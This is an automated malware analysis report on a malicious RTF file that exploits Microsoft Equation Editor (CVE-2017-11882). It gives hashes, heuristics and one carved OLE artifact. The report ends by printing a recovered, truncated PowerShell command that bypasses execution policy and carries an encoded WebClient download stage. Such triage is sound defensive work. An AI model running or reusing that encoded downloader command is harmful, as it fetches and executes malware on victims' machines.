RTF malware analysis — malicious · abf60e641601fc27

MALICIOUS

RTF

37.5 KB First seen: 2020-04-06

MD5: 21c61b7baddcdc440aedf28760aa4090 SHA-1: 283b8d9d27472f6d465777c201277cab2f2c50e9 SHA-256: abf60e641601fc2772414b60f17e179dfc285bb70917c8f34c3f8b55d53b4cc3

260 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution

The RTF file contains an embedded OLE object that leverages a known vulnerability in Microsoft Equation Editor (CVE-2017-11882). This vulnerability allows for the execution of arbitrary code, likely to download and run a secondary payload. The presence of shellcode command strings in the extracted artifact further supports this attack vector.

Heuristics 6

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
Equation Editor object class critical RTF_OBJCLASS_EQUATION

Object class 'equation.3' references Equation Editor
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off0000795f.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x795F	3627 bytes
SHA-256: `0423f5ef901c88297335c34e05c086c844042dfd748406128b926a5e7d998592`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): PowERsHELl.ExE -ExecutionPolicy bypass /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEE

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